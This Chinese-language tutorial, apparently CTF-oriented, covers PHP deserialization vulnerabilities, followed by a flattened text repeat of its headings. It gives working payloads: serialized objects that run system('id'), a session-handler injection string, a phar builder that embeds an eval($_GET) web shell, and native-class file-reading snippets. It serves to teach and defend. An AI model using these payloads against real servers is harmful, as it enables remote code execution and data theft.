深入浅出PHP反序列化
字数 1513 2025-08-22 12:22:24

PHP反序列化漏洞深入解析

一、面向对象编程基础

1. 面向过程与面向对象

  • 面向过程:以整体事件为中心,按步骤调用函数实现功能
  • 面向对象:以对象为中心,将问题分解为各个对象,对象是现实世界的抽象

2. 类的基础概念

class Class_Name {
    // 成员属性
    // 成员函数
}

3. 访问权限修饰符

  • public:公共的,类内部、子类、外部都可调用
  • private:私有的,仅在类内部使用
  • protected:受保护的,类内部或子类中使用

二、序列化与反序列化基础

1. 序列化

将对象状态信息转换为可存储或传输的字符串形式

serialize($object);

2. 反序列化

将序列化字符串还原为对象

unserialize($serialized_string);

3. 序列化格式说明

  • O:4:"test":1:{s:3:"pub";s:6:"benben";}
    • O:对象
    • 4:类名长度
    • test:类名
    • 1:属性数量
    • s:3:"pub":字符串属性名,长度3
    • s:6:"benben":字符串属性值,长度6

4. 特殊属性序列化

  • private属性:变量名前加%00类名%00
  • protected属性:变量名前加%00*%00

三、反序列化漏洞成因

1. 基本条件

  • unserialize()参数可控
  • 存在可利用的类和方法

2. 漏洞示例

class test {
    public $a = 'echo "this is test!!";';
    public function displayVar() {
        eval($this->a);
    }
}

$get = 'O:4:"test":1:{s:1:"a";s:13:"system("id");";}';
$b = unserialize($get);
$b->displayVar();

四、魔术方法与利用

1. 常见魔术方法

方法 触发时机
__construct() 对象实例化时
__destruct() 对象销毁时
__wakeup() 反序列化前
__sleep() 序列化前
__toString() 对象被当作字符串调用
__invoke() 对象被当作函数调用
__call() 调用不存在的方法
__get() 访问不存在的属性
__set() 给不存在的属性赋值

2. 常用利用方法

(1) __destruct()利用

class User {
    var $cmd = "echo 'dazhuang666!!';";
    public function __destruct() {
        eval($this->cmd);
    }
}

(2) __wakeup()绕过(CVE-2016-7124)

  • 影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10
  • 方法:将对象属性个数改为比实际大的值
// 原序列化
O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
// 绕过
O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}

五、POP链构造

1. 基本概念

面向属性编程(Property-Oriented Programming),通过控制对象属性值实现漏洞利用

2. 构造步骤

  1. 寻找可利用的魔术方法
  2. 分析类之间的调用关系
  3. 构造属性传递链

3. 示例分析

class Modifier {
    private $var;
    public function append($value) {
        include($value);
        echo $flag;
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show {
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
}

class Test {
    public $p;
    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

// POP链
__wakeup->source::__toString->str::__get->p::__invoke->var::append

六、字符串逃逸

1. 字符减少型逃逸

// 原始序列化
O:1:"A":2:{s:2:"v1";s:27:"abcsystem()system()system()";s:2:"v2";s:3:"123";}

// 替换后
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}

// 构造payload
1234567";s:2:"v3";i:123;}

2. 字符增多型逃逸

// 原始序列化
O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}

// 替换后
O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}

// 构造payload
lslslslslslslslslslslslslslslslslsls";s:2:"v3";i:666;}

七、引用利用

1. 引用赋值

class just4fun {
    var $enter;
    var $secret;
}

$a = new just4fun();
$a->enter = &$a->secret;
echo serialize($a);
// O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

八、Session反序列化

1. 存储格式差异

  • php:键名|序列化数据
  • php_serialize:完整序列化数组
  • php_binary:二进制格式

2. 漏洞利用条件

  • 序列化存储与反序列化读取方式不同
  • 可控制session内容

3. 示例

// 存储端
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];

// 漏洞端
ini_set('session.serialize_handler', 'php');
session_start();
class D {
    var $a;
    function __destruct(){
        eval($this->a);
    }
}

// 提交
?a=|O:1:"D":1:{s:1:"a";s:13:"system('id');";}

九、Phar反序列化

1. Phar文件结构

  • stub:<?php __HALT_COMPILER(); ?>
  • manifest:包含序列化的meta-data
  • 文件内容
  • 签名

2. 利用条件

  1. phar文件能上传到服务器
  2. 有可用的反序列化魔术方法
  3. 有可控参数的文件操作函数

3. 生成phar

class Testobj {
    var $output = '';
}

@unlink('test.phar');
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');

$o = new Testobj();
$o->output = 'eval($_GET["a"]);';
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

4. 触发方式

file_exists('phar://test.phar');

十、原生类利用

1. 目录遍历

// DirectoryIterator
$a = new DirectoryIterator('glob:///*');
foreach($a as $f) {
    echo $f->__toString().'<br>';
}

// GlobIterator
$dir = new GlobIterator("/*flag*");
echo $dir;

2. 文件读取

$context = new SplFileObject('/path/to/file');
foreach($context as $f){
    echo $f;
}

3. 注释读取

class test {
    /** 
     * 测试注释 
     */
    public function getA() {}
}

$b = new ReflectionMethod('test', 'getA');
echo $b->getDocComment();

防御建议

  1. 避免反序列化用户可控数据
  2. 使用json_encode/json_decode替代序列化
  3. 对反序列化操作进行严格校验
  4. 使用__wakeup()__destruct()进行安全检查
  5. 及时更新PHP版本修复已知漏洞
PHP反序列化漏洞深入解析 一、面向对象编程基础 1. 面向过程与面向对象 面向过程 :以整体事件为中心,按步骤调用函数实现功能 面向对象 :以对象为中心,将问题分解为各个对象,对象是现实世界的抽象 2. 类的基础概念 3. 访问权限修饰符 public :公共的,类内部、子类、外部都可调用 private :私有的,仅在类内部使用 protected :受保护的,类内部或子类中使用 二、序列化与反序列化基础 1. 序列化 将对象状态信息转换为可存储或传输的字符串形式 2. 反序列化 将序列化字符串还原为对象 3. 序列化格式说明 O:4:"test":1:{s:3:"pub";s:6:"benben";} O :对象 4 :类名长度 test :类名 1 :属性数量 s:3:"pub" :字符串属性名,长度3 s:6:"benben" :字符串属性值,长度6 4. 特殊属性序列化 private属性 :变量名前加 %00类名%00 protected属性 :变量名前加 %00*%00 三、反序列化漏洞成因 1. 基本条件 unserialize() 参数可控 存在可利用的类和方法 2. 漏洞示例 四、魔术方法与利用 1. 常见魔术方法 | 方法 | 触发时机 | |------|----------| | __construct() | 对象实例化时 | | __destruct() | 对象销毁时 | | __wakeup() | 反序列化前 | | __sleep() | 序列化前 | | __toString() | 对象被当作字符串调用 | | __invoke() | 对象被当作函数调用 | | __call() | 调用不存在的方法 | | __get() | 访问不存在的属性 | | __set() | 给不存在的属性赋值 | 2. 常用利用方法 (1) __destruct() 利用 (2) __wakeup() 绕过(CVE-2016-7124) 影响版本:PHP5 < 5.6.25,PHP7 < 7.0.10 方法:将对象属性个数改为比实际大的值 五、POP链构造 1. 基本概念 面向属性编程(Property-Oriented Programming),通过控制对象属性值实现漏洞利用 2. 构造步骤 寻找可利用的魔术方法 分析类之间的调用关系 构造属性传递链 3. 示例分析 六、字符串逃逸 1. 字符减少型逃逸 2. 字符增多型逃逸 七、引用利用 1. 引用赋值 八、Session反序列化 1. 存储格式差异 php :键名|序列化数据 php_serialize :完整序列化数组 php_binary :二进制格式 2. 漏洞利用条件 序列化存储与反序列化读取方式不同 可控制session内容 3. 示例 九、Phar反序列化 1. Phar文件结构 stub: <?php __HALT_COMPILER(); ?> manifest:包含序列化的meta-data 文件内容 签名 2. 利用条件 phar文件能上传到服务器 有可用的反序列化魔术方法 有可控参数的文件操作函数 3. 生成phar 4. 触发方式 十、原生类利用 1. 目录遍历 2. 文件读取 3. 注释读取 防御建议 避免反序列化用户可控数据 使用 json_encode/json_decode 替代序列化 对反序列化操作进行严格校验 使用 __wakeup() 或 __destruct() 进行安全检查 及时更新PHP版本修复已知漏洞